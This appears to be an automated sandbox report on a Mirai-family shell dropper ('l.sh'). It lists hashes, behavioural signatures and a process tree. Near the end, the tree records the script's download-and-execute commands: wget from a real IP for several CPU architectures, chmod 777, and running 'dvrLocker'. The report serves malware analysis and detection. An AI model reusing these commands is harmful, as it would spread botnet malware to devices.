Analysis

  • max time kernel
    138s
  • max time network
    146s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09-11-2024 08:41

General

  • Target

    l.sh

  • Size

    916B

  • MD5

    19c4fe1b103747e55af818fc3f07fdbe

  • SHA1

    ccb4350c6ce8bb9449a9dc5dfa4910762d1d9fe8

  • SHA256

    7bad123032a0e9a4f6d7a399b7d7a171c24f505201186d679ca495ba936195bd

  • SHA512

    2d3f697da5886721e51cbc720a77c9c755027d361a7e139de80be1ee5c2dd1c76a20d3c33fb32177a5318400fbec36555c93cd9b860e398b5b1fd73e3c5fa270

Malware Config

Extracted

Family

mirai

Botnet

BOTNET

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 27 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 24 IoCs
  • Renames itself 3 IoCs
  • Unexpected DNS network traffic destination 3 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Creates/modifies Cron job 1 TTPs 3 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Changes its process name 3 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/l.sh
    /tmp/l.sh
    1⤵
    • Writes file to tmp directory
    PID:1509
    • /bin/ls
      ls -l /proc/1/exe
      2⤵
      • Reads runtime system information
      PID:1510
    • /bin/ls
      ls -l /proc/10/exe
      2⤵
      • Reads runtime system information
      PID:1511
    • /bin/ls
      ls -l /proc/1017/exe
      2⤵
      • Reads runtime system information
      PID:1512
    • /bin/ls
      ls -l /proc/1022/exe
      2⤵
      • Reads runtime system information
      PID:1513
    • /bin/ls
      ls -l /proc/1036/exe
      2⤵
      • Reads runtime system information
      PID:1514
    • /bin/ls
      ls -l /proc/1042/exe
      2⤵
      • Reads runtime system information
      PID:1515
    • /bin/ls
      ls -l /proc/1056/exe
      2⤵
      • Reads runtime system information
      PID:1516
    • /bin/ls
      ls -l /proc/1060/exe
      2⤵
        PID:1517
      • /bin/ls
        ls -l /proc/1063/exe
        2⤵
        • Reads runtime system information
        PID:1518
      • /bin/ls
        ls -l /proc/1066/exe
        2⤵
          PID:1519
        • /bin/ls
          ls -l /proc/1070/exe
          2⤵
          • Reads runtime system information
          PID:1520
        • /bin/ls
          ls -l /proc/1080/exe
          2⤵
          • Reads runtime system information
          PID:1521
        • /bin/ls
          ls -l /proc/1084/exe
          2⤵
            PID:1522
          • /bin/ls
            ls -l /proc/1093/exe
            2⤵
            • Reads runtime system information
            PID:1523
          • /bin/ls
            ls -l /proc/11/exe
            2⤵
              PID:1524
            • /bin/ls
              ls -l /proc/1108/exe
              2⤵
                PID:1525
              • /bin/ls
                ls -l /proc/1113/exe
                2⤵
                • Reads runtime system information
                PID:1526
              • /bin/ls
                ls -l /proc/1117/exe
                2⤵
                • Reads runtime system information
                PID:1527
              • /bin/ls
                ls -l /proc/1121/exe
                2⤵
                  PID:1528
                • /bin/ls
                  ls -l /proc/1125/exe
                  2⤵
                    PID:1529
                  • /bin/ls
                    ls -l /proc/1129/exe
                    2⤵
                      PID:1530
                    • /bin/ls
                      ls -l /proc/1133/exe
                      2⤵
                        PID:1531
                      • /bin/ls
                        ls -l /proc/1138/exe
                        2⤵
                          PID:1532
                        • /bin/ls
                          ls -l /proc/1142/exe
                          2⤵
                            PID:1533
                          • /bin/ls
                            ls -l /proc/1143/exe
                            2⤵
                              PID:1534
                            • /bin/ls
                              ls -l /proc/1146/exe
                              2⤵
                                PID:1535
                              • /bin/ls
                                ls -l /proc/1149/exe
                                2⤵
                                • Reads runtime system information
                                PID:1536
                              • /bin/ls
                                ls -l /proc/115/exe
                                2⤵
                                  PID:1537
                                • /bin/ls
                                  ls -l /proc/1151/exe
                                  2⤵
                                    PID:1538
                                  • /bin/ls
                                    ls -l /proc/1161/exe
                                    2⤵
                                      PID:1539
                                    • /bin/ls
                                      ls -l /proc/1163/exe
                                      2⤵
                                      • Reads runtime system information
                                      PID:1540
                                    • /bin/ls
                                      ls -l /proc/1165/exe
                                      2⤵
                                      • Reads runtime system information
                                      PID:1541
                                    • /bin/ls
                                      ls -l /proc/1166/exe
                                      2⤵
                                        PID:1542
                                      • /bin/ls
                                        ls -l /proc/1171/exe
                                        2⤵
                                          PID:1543
                                        • /bin/ls
                                          ls -l /proc/1179/exe
                                          2⤵
                                          • Reads runtime system information
                                          PID:1544
                                        • /bin/ls
                                          ls -l /proc/1182/exe
                                          2⤵
                                            PID:1548
                                          • /bin/ls
                                            ls -l /proc/1183/exe
                                            2⤵
                                              PID:1549
                                            • /bin/ls
                                              ls -l /proc/1184/exe
                                              2⤵
                                                PID:1550
                                              • /bin/ls
                                                ls -l /proc/1185/exe
                                                2⤵
                                                • Reads runtime system information
                                                PID:1551
                                              • /bin/ls
                                                ls -l /proc/1188/exe
                                                2⤵
                                                  PID:1552
                                                • /bin/ls
                                                  ls -l /proc/1191/exe
                                                  2⤵
                                                    PID:1553
                                                  • /bin/ls
                                                    ls -l /proc/12/exe
                                                    2⤵
                                                      PID:1554
                                                    • /bin/ls
                                                      ls -l /proc/1226/exe
                                                      2⤵
                                                        PID:1555
                                                      • /bin/ls
                                                        ls -l /proc/1228/exe
                                                        2⤵
                                                          PID:1556
                                                        • /bin/ls
                                                          ls -l /proc/1255/exe
                                                          2⤵
                                                            PID:1557
                                                          • /bin/ls
                                                            ls -l /proc/1256/exe
                                                            2⤵
                                                              PID:1558
                                                            • /bin/ls
                                                              ls -l /proc/1269/exe
                                                              2⤵
                                                                PID:1559
                                                              • /bin/ls
                                                                ls -l /proc/1282/exe
                                                                2⤵
                                                                  PID:1560
                                                                • /bin/ls
                                                                  ls -l /proc/1287/exe
                                                                  2⤵
                                                                    PID:1561
                                                                  • /bin/ls
                                                                    ls -l /proc/1297/exe
                                                                    2⤵
                                                                      PID:1562
                                                                    • /bin/ls
                                                                      ls -l /proc/13/exe
                                                                      2⤵
                                                                        PID:1563
                                                                      • /bin/ls
                                                                        ls -l /proc/1308/exe
                                                                        2⤵
                                                                          PID:1564
                                                                        • /bin/ls
                                                                          ls -l /proc/1313/exe
                                                                          2⤵
                                                                          • Reads runtime system information
                                                                          PID:1565
                                                                        • /bin/ls
                                                                          ls -l /proc/1317/exe
                                                                          2⤵
                                                                          • Reads runtime system information
                                                                          PID:1566
                                                                        • /bin/ls
                                                                          ls -l /proc/1339/exe
                                                                          2⤵
                                                                            PID:1567
                                                                          • /bin/ls
                                                                            ls -l /proc/1349/exe
                                                                            2⤵
                                                                            • Reads runtime system information
                                                                            PID:1568
                                                                          • /bin/ls
                                                                            ls -l /proc/137/exe
                                                                            2⤵
                                                                            • Reads runtime system information
                                                                            PID:1569
                                                                          • /bin/ls
                                                                            ls -l /proc/1379/exe
                                                                            2⤵
                                                                              PID:1570
                                                                            • /bin/ls
                                                                              ls -l /proc/14/exe
                                                                              2⤵
                                                                              • Reads runtime system information
                                                                              PID:1571
                                                                            • /bin/ls
                                                                              ls -l /proc/1478/exe
                                                                              2⤵
                                                                              • Reads runtime system information
                                                                              PID:1572
                                                                            • /bin/ls
                                                                              ls -l /proc/1497/exe
                                                                              2⤵
                                                                                PID:1573
                                                                              • /bin/ls
                                                                                ls -l /proc/15/exe
                                                                                2⤵
                                                                                  PID:1574
                                                                                • /bin/ls
                                                                                  ls -l /proc/1503/exe
                                                                                  2⤵
                                                                                  • Reads runtime system information
                                                                                  PID:1575
                                                                                • /bin/ls
                                                                                  ls -l /proc/1505/exe
                                                                                  2⤵
                                                                                  • Reads runtime system information
                                                                                  PID:1576
                                                                                • /bin/ls
                                                                                  ls -l /proc/1506/exe
                                                                                  2⤵
                                                                                    PID:1577
                                                                                  • /bin/ls
                                                                                    ls -l /proc/1507/exe
                                                                                    2⤵
                                                                                      PID:1578
                                                                                    • /bin/ls
                                                                                      ls -l /proc/1509/exe
                                                                                      2⤵
                                                                                      • Reads runtime system information
                                                                                      PID:1579
                                                                                    • /bin/ls
                                                                                      ls -l /proc/159/exe
                                                                                      2⤵
                                                                                        PID:1580
                                                                                      • /bin/ls
                                                                                        ls -l /proc/16/exe
                                                                                        2⤵
                                                                                        • Reads runtime system information
                                                                                        PID:1581
                                                                                      • /bin/ls
                                                                                        ls -l /proc/160/exe
                                                                                        2⤵
                                                                                        • Reads runtime system information
                                                                                        PID:1582
                                                                                      • /bin/ls
                                                                                        ls -l /proc/161/exe
                                                                                        2⤵
                                                                                          PID:1583
                                                                                        • /bin/ls
                                                                                          ls -l /proc/162/exe
                                                                                          2⤵
                                                                                            PID:1584
                                                                                          • /bin/ls
                                                                                            ls -l /proc/163/exe
                                                                                            2⤵
                                                                                              PID:1585
                                                                                            • /bin/ls
                                                                                              ls -l /proc/164/exe
                                                                                              2⤵
                                                                                                PID:1586
                                                                                              • /bin/ls
                                                                                                ls -l /proc/165/exe
                                                                                                2⤵
                                                                                                • Reads runtime system information
                                                                                                PID:1587
                                                                                              • /bin/ls
                                                                                                ls -l /proc/166/exe
                                                                                                2⤵
                                                                                                  PID:1588
                                                                                                • /bin/ls
                                                                                                  ls -l /proc/167/exe
                                                                                                  2⤵
                                                                                                  • Reads runtime system information
                                                                                                  PID:1589
                                                                                                • /bin/ls
                                                                                                  ls -l /proc/168/exe
                                                                                                  2⤵
                                                                                                    PID:1590
                                                                                                  • /bin/ls
                                                                                                    ls -l /proc/169/exe
                                                                                                    2⤵
                                                                                                      PID:1591
                                                                                                    • /bin/ls
                                                                                                      ls -l /proc/17/exe
                                                                                                      2⤵
                                                                                                        PID:1592
                                                                                                      • /bin/ls
                                                                                                        ls -l /proc/170/exe
                                                                                                        2⤵
                                                                                                        • Reads runtime system information
                                                                                                        PID:1593
                                                                                                      • /bin/ls
                                                                                                        ls -l /proc/171/exe
                                                                                                        2⤵
                                                                                                          PID:1594
                                                                                                        • /bin/ls
                                                                                                          ls -l /proc/172/exe
                                                                                                          2⤵
                                                                                                            PID:1595
                                                                                                          • /bin/ls
                                                                                                            ls -l /proc/173/exe
                                                                                                            2⤵
                                                                                                            • Reads runtime system information
                                                                                                            PID:1596
                                                                                                          • /bin/ls
                                                                                                            ls -l /proc/174/exe
                                                                                                            2⤵
                                                                                                            • Reads runtime system information
                                                                                                            PID:1597
                                                                                                          • /bin/ls
                                                                                                            ls -l /proc/175/exe
                                                                                                            2⤵
                                                                                                              PID:1598
                                                                                                            • /bin/ls
                                                                                                              ls -l /proc/176/exe
                                                                                                              2⤵
                                                                                                              • Reads runtime system information
                                                                                                              PID:1599
                                                                                                            • /bin/ls
                                                                                                              ls -l /proc/178/exe
                                                                                                              2⤵
                                                                                                                PID:1600
                                                                                                              • /bin/ls
                                                                                                                ls -l /proc/18/exe
                                                                                                                2⤵
                                                                                                                  PID:1601
                                                                                                                • /bin/ls
                                                                                                                  ls -l /proc/19/exe
                                                                                                                  2⤵
                                                                                                                    PID:1602
                                                                                                                  • /bin/ls
                                                                                                                    ls -l /proc/2/exe
                                                                                                                    2⤵
                                                                                                                    • Reads runtime system information
                                                                                                                    PID:1603
                                                                                                                  • /bin/ls
                                                                                                                    ls -l /proc/20/exe
                                                                                                                    2⤵
                                                                                                                    • Reads runtime system information
                                                                                                                    PID:1604
                                                                                                                  • /bin/ls
                                                                                                                    ls -l /proc/203/exe
                                                                                                                    2⤵
                                                                                                                    • Reads runtime system information
                                                                                                                    PID:1605
                                                                                                                  • /bin/ls
                                                                                                                    ls -l /proc/204/exe
                                                                                                                    2⤵
                                                                                                                      PID:1606
                                                                                                                    • /bin/ls
                                                                                                                      ls -l /proc/21/exe
                                                                                                                      2⤵
                                                                                                                        PID:1607
                                                                                                                      • /bin/ls
                                                                                                                        ls -l /proc/22/exe
                                                                                                                        2⤵
                                                                                                                          PID:1608
                                                                                                                        • /bin/ls
                                                                                                                          ls -l /proc/23/exe
                                                                                                                          2⤵
                                                                                                                          • Reads runtime system information
                                                                                                                          PID:1609
                                                                                                                        • /bin/ls
                                                                                                                          ls -l /proc/24/exe
                                                                                                                          2⤵
                                                                                                                            PID:1610
                                                                                                                          • /bin/ls
                                                                                                                            ls -l /proc/244/exe
                                                                                                                            2⤵
                                                                                                                            • Reads runtime system information
                                                                                                                            PID:1611
                                                                                                                          • /bin/ls
                                                                                                                            ls -l /proc/25/exe
                                                                                                                            2⤵
                                                                                                                              PID:1612
                                                                                                                            • /bin/ls
                                                                                                                              ls -l /proc/26/exe
                                                                                                                              2⤵
                                                                                                                              • Reads runtime system information
                                                                                                                              PID:1613
                                                                                                                            • /bin/ls
                                                                                                                              ls -l /proc/269/exe
                                                                                                                              2⤵
                                                                                                                                PID:1614
                                                                                                                              • /bin/ls
                                                                                                                                ls -l /proc/27/exe
                                                                                                                                2⤵
                                                                                                                                  PID:1615
                                                                                                                                • /bin/ls
                                                                                                                                  ls -l /proc/28/exe
                                                                                                                                  2⤵
                                                                                                                                    PID:1616
                                                                                                                                  • /bin/ls
                                                                                                                                    ls -l /proc/29/exe
                                                                                                                                    2⤵
                                                                                                                                      PID:1617
                                                                                                                                    • /bin/ls
                                                                                                                                      ls -l /proc/3/exe
                                                                                                                                      2⤵
                                                                                                                                      • Reads runtime system information
                                                                                                                                      PID:1618
                                                                                                                                    • /bin/ls
                                                                                                                                      ls -l /proc/30/exe
                                                                                                                                      2⤵
                                                                                                                                        PID:1619
                                                                                                                                      • /bin/ls
                                                                                                                                        ls -l /proc/309/exe
                                                                                                                                        2⤵
                                                                                                                                          PID:1620
                                                                                                                                        • /bin/ls
                                                                                                                                          ls -l /proc/31/exe
                                                                                                                                          2⤵
                                                                                                                                            PID:1621
                                                                                                                                          • /bin/ls
                                                                                                                                            ls -l /proc/313/exe
                                                                                                                                            2⤵
                                                                                                                                              PID:1622
                                                                                                                                            • /bin/ls
                                                                                                                                              ls -l /proc/32/exe
                                                                                                                                              2⤵
                                                                                                                                              • Reads runtime system information
                                                                                                                                              PID:1623
                                                                                                                                            • /bin/ls
                                                                                                                                              ls -l /proc/34/exe
                                                                                                                                              2⤵
                                                                                                                                              • Reads runtime system information
                                                                                                                                              PID:1624
                                                                                                                                            • /bin/ls
                                                                                                                                              ls -l /proc/35/exe
                                                                                                                                              2⤵
                                                                                                                                                PID:1625
                                                                                                                                              • /bin/ls
                                                                                                                                                ls -l /proc/36/exe
                                                                                                                                                2⤵
                                                                                                                                                • Reads runtime system information
                                                                                                                                                PID:1626
                                                                                                                                              • /bin/ls
                                                                                                                                                ls -l /proc/4/exe
                                                                                                                                                2⤵
                                                                                                                                                • Reads runtime system information
                                                                                                                                                PID:1627
                                                                                                                                              • /bin/ls
                                                                                                                                                ls -l /proc/405/exe
                                                                                                                                                2⤵
                                                                                                                                                  PID:1628
                                                                                                                                                • /bin/ls
                                                                                                                                                  ls -l /proc/412/exe
                                                                                                                                                  2⤵
                                                                                                                                                    PID:1629
                                                                                                                                                  • /bin/ls
                                                                                                                                                    ls -l /proc/436/exe
                                                                                                                                                    2⤵
                                                                                                                                                      PID:1630
                                                                                                                                                    • /bin/ls
                                                                                                                                                      ls -l /proc/443/exe
                                                                                                                                                      2⤵
                                                                                                                                                        PID:1631
                                                                                                                                                      • /bin/ls
                                                                                                                                                        ls -l /proc/454/exe
                                                                                                                                                        2⤵
                                                                                                                                                          PID:1632
                                                                                                                                                        • /bin/ls
                                                                                                                                                          ls -l /proc/457/exe
                                                                                                                                                          2⤵
                                                                                                                                                            PID:1633
                                                                                                                                                          • /bin/ls
                                                                                                                                                            ls -l /proc/463/exe
                                                                                                                                                            2⤵
                                                                                                                                                              PID:1634
                                                                                                                                                            • /bin/ls
                                                                                                                                                              ls -l /proc/466/exe
                                                                                                                                                              2⤵
                                                                                                                                                                PID:1635
                                                                                                                                                              • /bin/ls
                                                                                                                                                                ls -l /proc/472/exe
                                                                                                                                                                2⤵
                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                PID:1636
                                                                                                                                                              • /bin/ls
                                                                                                                                                                ls -l /proc/473/exe
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:1637
                                                                                                                                                                • /bin/ls
                                                                                                                                                                  ls -l /proc/474/exe
                                                                                                                                                                  2⤵
                                                                                                                                                                  • Reads runtime system information
                                                                                                                                                                  PID:1638
                                                                                                                                                                • /bin/ls
                                                                                                                                                                  ls -l /proc/476/exe
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:1639
                                                                                                                                                                  • /bin/ls
                                                                                                                                                                    ls -l /proc/480/exe
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:1640
                                                                                                                                                                    • /bin/ls
                                                                                                                                                                      ls -l /proc/484/exe
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:1641
                                                                                                                                                                      • /bin/ls
                                                                                                                                                                        ls -l /proc/485/exe
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:1642
                                                                                                                                                                        • /bin/ls
                                                                                                                                                                          ls -l /proc/487/exe
                                                                                                                                                                          2⤵
                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                          PID:1643
                                                                                                                                                                        • /bin/ls
                                                                                                                                                                          ls -l /proc/5/exe
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:1644
                                                                                                                                                                          • /bin/ls
                                                                                                                                                                            ls -l /proc/516/exe
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:1645
                                                                                                                                                                            • /bin/ls
                                                                                                                                                                              ls -l /proc/523/exe
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:1646
                                                                                                                                                                              • /bin/ls
                                                                                                                                                                                ls -l /proc/535/exe
                                                                                                                                                                                2⤵
                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                PID:1647
                                                                                                                                                                              • /bin/ls
                                                                                                                                                                                ls -l /proc/542/exe
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:1648
                                                                                                                                                                                • /bin/ls
                                                                                                                                                                                  ls -l /proc/552/exe
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:1649
                                                                                                                                                                                  • /bin/ls
                                                                                                                                                                                    ls -l /proc/573/exe
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • Reads runtime system information
                                                                                                                                                                                    PID:1650
                                                                                                                                                                                  • /bin/ls
                                                                                                                                                                                    ls -l /proc/597/exe
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:1651
                                                                                                                                                                                    • /bin/ls
                                                                                                                                                                                      ls -l /proc/598/exe
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:1652
                                                                                                                                                                                      • /bin/ls
                                                                                                                                                                                        ls -l /proc/6/exe
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                        PID:1653
                                                                                                                                                                                      • /bin/ls
                                                                                                                                                                                        ls -l /proc/634/exe
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:1654
                                                                                                                                                                                        • /bin/ls
                                                                                                                                                                                          ls -l /proc/648/exe
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:1655
                                                                                                                                                                                          • /bin/ls
                                                                                                                                                                                            ls -l /proc/649/exe
                                                                                                                                                                                            2⤵
                                                                                                                                                                                            • Reads runtime system information
                                                                                                                                                                                            PID:1656
                                                                                                                                                                                          • /bin/ls
                                                                                                                                                                                            ls -l /proc/651/exe
                                                                                                                                                                                            2⤵
                                                                                                                                                                                            • Reads runtime system information
                                                                                                                                                                                            PID:1657
                                                                                                                                                                                          • /bin/ls
                                                                                                                                                                                            ls -l /proc/658/exe
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:1658
                                                                                                                                                                                            • /bin/ls
                                                                                                                                                                                              ls -l /proc/670/exe
                                                                                                                                                                                              2⤵
                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                              PID:1659
                                                                                                                                                                                            • /bin/ls
                                                                                                                                                                                              ls -l /proc/697/exe
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:1660
                                                                                                                                                                                              • /bin/ls
                                                                                                                                                                                                ls -l /proc/7/exe
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:1661
                                                                                                                                                                                                • /bin/ls
                                                                                                                                                                                                  ls -l /proc/744/exe
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:1662
                                                                                                                                                                                                  • /bin/ls
                                                                                                                                                                                                    ls -l /proc/757/exe
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                    • Reads runtime system information
                                                                                                                                                                                                    PID:1663
                                                                                                                                                                                                  • /bin/ls
                                                                                                                                                                                                    ls -l /proc/78/exe
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:1664
                                                                                                                                                                                                    • /bin/ls
                                                                                                                                                                                                      ls -l /proc/79/exe
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                      • Reads runtime system information
                                                                                                                                                                                                      PID:1665
                                                                                                                                                                                                    • /bin/ls
                                                                                                                                                                                                      ls -l /proc/8/exe
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                      • Reads runtime system information
                                                                                                                                                                                                      PID:1666
                                                                                                                                                                                                    • /bin/ls
                                                                                                                                                                                                      ls -l /proc/80/exe
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:1667
                                                                                                                                                                                                      • /bin/ls
                                                                                                                                                                                                        ls -l /proc/81/exe
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:1668
                                                                                                                                                                                                      • /bin/ls
                                                                                                                                                                                                        ls -l /proc/82/exe
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:1669
                                                                                                                                                                                                      • /bin/ls
                                                                                                                                                                                                        ls -l /proc/83/exe
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:1670
                                                                                                                                                                                                      • /bin/ls
                                                                                                                                                                                                        ls -l /proc/84/exe
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                        PID:1671
                                                                                                                                                                                                      • /bin/ls
                                                                                                                                                                                                        ls -l /proc/85/exe
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:1672
                                                                                                                                                                                                        • /bin/ls
                                                                                                                                                                                                          ls -l /proc/89/exe
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                          PID:1673
                                                                                                                                                                                                        • /bin/ls
                                                                                                                                                                                                          ls -l /proc/895/exe
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:1674
                                                                                                                                                                                                          • /bin/ls
                                                                                                                                                                                                            ls -l /proc/9/exe
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:1675
                                                                                                                                                                                                            • /bin/ls
                                                                                                                                                                                                              ls -l /proc/949/exe
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:1676
                                                                                                                                                                                                              • /bin/ls
                                                                                                                                                                                                                ls -l /proc/950/exe
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:1677
                                                                                                                                                                                                                • /bin/ls
                                                                                                                                                                                                                  ls -l /proc/98/exe
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                  • Reads runtime system information
                                                                                                                                                                                                                  PID:1678
                                                                                                                                                                                                                • /bin/ls
                                                                                                                                                                                                                  ls -l /proc/985/exe
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:1679
                                                                                                                                                                                                                  • /bin/ls
                                                                                                                                                                                                                    ls -l /proc/990/exe
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:1680
                                                                                                                                                                                                                    • /bin/ls
                                                                                                                                                                                                                      ls -l /proc/993/exe
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:1681
                                                                                                                                                                                                                      • /bin/rm
                                                                                                                                                                                                                        rm -rf /tmp/lib/
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:1682
                                                                                                                                                                                                                        • /bin/rm
                                                                                                                                                                                                                          rm -rf /tmp/lib/dvrLocker
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:1683
                                                                                                                                                                                                                          • /bin/mkdir
                                                                                                                                                                                                                            mkdir /tmp/lib/
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:1684
                                                                                                                                                                                                                            • /usr/bin/wget
                                                                                                                                                                                                                              wget http://45.202.35.91/mpsl -O -
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:1685
                                                                                                                                                                                                                              • /bin/chmod
                                                                                                                                                                                                                                chmod 777 dvrLocker
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                • File and Directory Permissions Modification
                                                                                                                                                                                                                                PID:1686
                                                                                                                                                                                                                              • /tmp/lib/dvrLocker
                                                                                                                                                                                                                                ./dvrLocker tplink.new
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                PID:1687
                                                                                                                                                                                                                              • /bin/rm
                                                                                                                                                                                                                                rm -rf mpsl
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:1689
                                                                                                                                                                                                                                • /usr/bin/wget
                                                                                                                                                                                                                                  wget http://45.202.35.91/mips -O -
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                  • System Network Configuration Discovery
                                                                                                                                                                                                                                  PID:1690
                                                                                                                                                                                                                                • /bin/chmod
                                                                                                                                                                                                                                  chmod 777 dvrLocker
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                  • File and Directory Permissions Modification
                                                                                                                                                                                                                                  PID:1691
                                                                                                                                                                                                                                • /tmp/lib/dvrLocker
                                                                                                                                                                                                                                  ./dvrLocker tplink.new
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                  PID:1692
                                                                                                                                                                                                                                • /bin/rm
                                                                                                                                                                                                                                  rm -rf mips
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                  • System Network Configuration Discovery
                                                                                                                                                                                                                                  PID:1694
                                                                                                                                                                                                                                • /usr/bin/wget
                                                                                                                                                                                                                                  wget http://45.202.35.91/arm -O -
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:1695
                                                                                                                                                                                                                                  • /bin/chmod
                                                                                                                                                                                                                                    chmod 777 dvrLocker
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                    • File and Directory Permissions Modification
                                                                                                                                                                                                                                    PID:1696
                                                                                                                                                                                                                                  • /tmp/lib/dvrLocker
                                                                                                                                                                                                                                    ./dvrLocker tplink.new
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                    PID:1697
                                                                                                                                                                                                                                  • /bin/rm
                                                                                                                                                                                                                                    rm -rf arm
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:1699
                                                                                                                                                                                                                                    • /usr/bin/wget
                                                                                                                                                                                                                                      wget http://45.202.35.91/arm5 -O -
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:1700
                                                                                                                                                                                                                                      • /bin/chmod
                                                                                                                                                                                                                                        chmod 777 dvrLocker
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                        • File and Directory Permissions Modification
                                                                                                                                                                                                                                        PID:1701
                                                                                                                                                                                                                                      • /tmp/lib/dvrLocker
                                                                                                                                                                                                                                        ./dvrLocker tplink.new
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                        PID:1702
                                                                                                                                                                                                                                      • /bin/rm
                                                                                                                                                                                                                                        rm -rf arm5
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:1704
                                                                                                                                                                                                                                        • /usr/bin/wget
                                                                                                                                                                                                                                          wget http://45.202.35.91/ppc -O -
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:1705
                                                                                                                                                                                                                                          • /bin/chmod
                                                                                                                                                                                                                                            chmod 777 dvrLocker
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • File and Directory Permissions Modification
                                                                                                                                                                                                                                            PID:1706
                                                                                                                                                                                                                                          • /tmp/lib/dvrLocker
                                                                                                                                                                                                                                            ./dvrLocker tplink.new
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                            PID:1707
                                                                                                                                                                                                                                          • /bin/rm
                                                                                                                                                                                                                                            rm -rf ppc
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:1709
                                                                                                                                                                                                                                            • /usr/bin/wget
                                                                                                                                                                                                                                              wget http://45.202.35.91/arm7 -O -
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:1710
                                                                                                                                                                                                                                              • /bin/chmod
                                                                                                                                                                                                                                                chmod 777 dvrLocker
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                • File and Directory Permissions Modification
                                                                                                                                                                                                                                                PID:1711
